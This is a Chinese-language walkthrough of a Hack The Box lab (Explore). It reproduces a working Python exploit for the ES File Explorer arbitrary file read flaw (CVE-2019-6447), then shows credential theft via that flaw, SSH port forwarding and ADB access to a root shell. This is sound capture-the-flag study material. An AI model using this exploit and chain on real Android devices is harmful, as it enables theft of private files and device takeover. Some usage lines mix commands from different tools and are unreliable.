记一次对HTB:explore的渗透测试
一信息收集:
1.nmap 10.10.10.247 //收集一下端口信息
2.然后nmap -sS -sV - A -T5 -p- 10.10.10.247
3.发现了 ES File Explorer Name Response httpd .然后去搜索:
42135端口存在“ ES File Explorer Name Response httpd”可利用漏洞,这个漏洞是任意文件读取漏洞,接下来就是通过这个漏洞去查找敏感文件,看看是否存在敏感信息,帮助我们getshell。
4.找到了exp:url地址:https://www.exploit-db.com/exploits/50070
Exploit Title: ES File Explorer 4.1.9.7.4 - Arbitrary File Read
Date: 29/06/2021
Exploit Author: Nehal Zaman
Version: ES File Explorer v4.1.9.7.4
Tested on: Android
CVE : CVE-2019-6447
import requests
import json
import ast
import sys
if len(sys.argv) < 3:
print(f"USAGE {sys.argv[0]} [file to download]")
sys.exit(1)
url = 'http://' + sys.argv[2] + ':59777'
cmd = sys.argv[1]
cmds = ['listFiles','listPics','listVideos','listAudios','listApps','listAppsSystem','listAppsPhone','listAppsSdcard','listAppsAll','getFile','getDeviceInfo']
listCmds = cmds[:9]
if cmd not in cmds:
print("[-] WRONG COMMAND!")
print("Available commands : ")
print(" listFiles : List all Files.")
print(" listPics : List all Pictures.")
print(" listVideos : List all videos.")
print(" listAudios : List all audios.")
print(" listApps : List Applications installed.")
print(" listAppsSystem : List System apps.")
print(" listAppsPhone : List Communication related apps.")
print(" listAppsSdcard : List apps on the SDCard.")
print(" listAppsAll : List all Application.")
print(" getFile : Download a file.")
print(" getDeviceInfo : Get device info.")
sys.exit(1)
print("\n==================================================================")
print("| ES File Explorer Open Port Vulnerability : CVE-2019-6447 |")
print("| Coded By : Nehal a.k.a PwnerSec |")
print("==================================================================\n")
header = {"Content-Type" : "application/json"}
proxy = {"http":"http://127.0.0.1:8080", "https":"https://127.0.0.1:8080"}
def httpPost(cmd):
data = json.dumps({"command":cmd})
response = requests.post(url, headers=header, data=data)
return ast.literal_eval(response.text)
def parse(text, keys):
for dic in text:
for key in keys:
print(f"{key} : {dic[key]}")
print('')
def do_listing(cmd):
response = httpPost(cmd)
if len(response) == 0:
keys = []
else:
keys = list(response[0].keys())
parse(response, keys)
if cmd in listCmds:
do_listing(cmd)
elif cmd == cmds[9]:
if len(sys.argv) != 4:
print("[+] Include file name to download.")
sys.exit(1)
elif sys.argv[3][0] != '/':
print("[-] You need to provide full path of the file.")
sys.exit(1)
else:
path = sys.argv[3]
print("[+] Downloading file...")
response = requests.get(url + path)
with open('out.dat','wb') as wf:
wf.write(response.content)
print("[+] Done. Saved as out.dat
.")
elif cmd == cmds[10]:
response = httpPost(cmd)
keys = list(response.keys())
for key in keys:
print(f"{key} : {response[key]}")
二、漏洞利用:
使用python x.py listPics + ip//列出所有图片
详细用法:
$ python poc.py --cmd listVideos
$ python poc.py --cmd listFiles
$ python poc.py --cmd listFiles --network 192.168.1。
$ python poc.py --cmd listFiles --ip 192.168.4.17
$ python poc.py list
#####################
#可用命令#
#####################
listFiles:列出所有文件
listPics:列出所有图片
listVideos:列出所有视频
listAudios:列出所有音频files
listApps:列出所有已安装的应用
listAppsSystem:列出所有系统应用
listAppsPhone:列出所有手机应用
listAppsSdcard:列出 sdcard 中的所有 apk 文件
listAppsAll:列出所有已安装的应用(包括系统应用)
getDeviceInfo:获取设备信息
appPull :从设备中拉出一个应用程序。需要包名称参数
appLaunch:启动应用程序。需要包名参数
getAppThumbnail:获取应用的图标。需要包名参数
2.然后访问,发现某一个目录存在用户名和密码
3.使用ssh 用户+ip +端口进行访问,测试之后发现是一个低权限用户。
三、提权
1.先安装adb工具:
apt-get install android-tools-adb
2.然后使用ssh -L 5555:localhost:5555 kristi@10.10.10.247 -p 2222做端口转发
3.然后使用adb connect 127.0.0.1:5555 进行连接
由于这台 Android 连接着 sd 卡,那么应该是开启着 ADB 调试桥的,尝试直接使用 ADB 进行破解
4.进行shell连接,然后执行whoami,发现是root权限
5.搜索 root.txt 文件,在 data 目录下找到,成功拿到 SYSTEM OWN 的 FLAG。
总结:
漏洞简介:
ES文件浏览器在启动时创建了一个HTTP服务器,在本地打开了59777端口。攻击者通过构造指定的payload可以获取用户手机文件,安装apk等操作。
影响范围
4.1.9.7.4 and below(部分版本可能不支持,也可能和应用市场有关)
漏洞分析
CVE-2019-6447影响的ES应用版本为4.1.9.7.4以下,但是在某些版本的应用该漏洞却无法利用,,向59777端口发送payload一直会回复500 ERROR报错。
参考链接:
- 点赞
- 收藏
- 关注作者
评论(0)